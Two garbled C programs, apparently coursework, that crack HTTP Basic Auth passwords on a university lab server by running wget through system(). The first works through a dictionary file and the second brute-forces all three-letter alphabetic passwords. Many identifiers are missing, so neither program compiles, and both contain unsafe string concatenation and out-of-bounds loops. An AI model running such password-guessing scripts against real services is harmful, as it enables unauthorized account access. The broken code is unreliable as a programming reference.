#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int        , end;
	FILE           *fp;
	int             i, j;
	char            input;
	char            password[30];
	int             check;

	float           total_time;
	int             number;
	 = time();


	if ((fp = fopen("words", "r")) == NULL) {
		fprintf(stderr, "Error : Failed  open words for .\n");
		return (EXIT_FAILURE);
	}
	while ((input = fgetc(fp)) != EOF) {
		j = 0;
		for (i = 0; i < 30; i++)
			password[i] = '\0';

		while(input != '\n' ) {

			password[j] = input;
			j++;
			input = fgetc(fp);
			
		
		}


		if (strlen(password) <= 3) {
			printf("%s\t",password);
			fflush(stdout);
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time();
				total_time = (end - ) / 1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n", total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number, total_time / number);
				exit(0);
			}
		}

	}

	return (EXIT_SUCCESS);
}
int
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);

	rettype = system();
	
	if (rettype == 0) {
		printf("Successfully retrieved password: %s\n", password);
		return 0;
	}
	strcpy(, "");
}

#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>



int ()
{
    int i,j,k,sysoutput;
    char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];
    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    strcpy(string1, "wget --http-user= --http-passwd=");
    strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
    
    for (i=0;i<=52;i++)
  { 
     [0] = arr[i];
     [1]  ='\0'; 
     strcpy(a,);
     
     printf("The  first  value is %s \n", a);    	

     for (j=0;j<=52;j++)
       {  [0] = arr[j];
          [1] = '\0'; 
	  strcpy(temp1,a);
	  strcat(a,);
	  strcpy(b,a);
	  strcpy(a,temp1);
	   printf("The  second value is %s \n", b);    	          
	for(k=0;k<=52;k++)
	  {  
	     [0] =arr[k];
	     [1] = '\0';
	     strcpy(temp1,b);
	     strcat(b,);
	     strcpy(pass,b);
	     strcpy(b,temp1);
	     pass[0] = arr[i];
           pass[1]= arr[j];
           pass[2]= arr[k];
           pass[3] = '\0';
		printf(" the  third  value of   the %s \n" ,pass);    
                 

		printf("%s\n",pass);
	  printf("*********\n" );
          strcat(string1, pass);
          strcat(string1, string2);
	  printf("\n executing %s\n", string1);
          sysoutput = system(string1);
          if (sysoutput == 0)
          {
            printf("\nsuccess %d %s\n",sysoutput,pass);
            exit(1);
          }


	  strcpy(string1, "");
	  strcpy(string1, "wget --http-user= --http-passwd=");
          
	         }
  	}   
   }
 }  
     
    
  
  
  
  
  
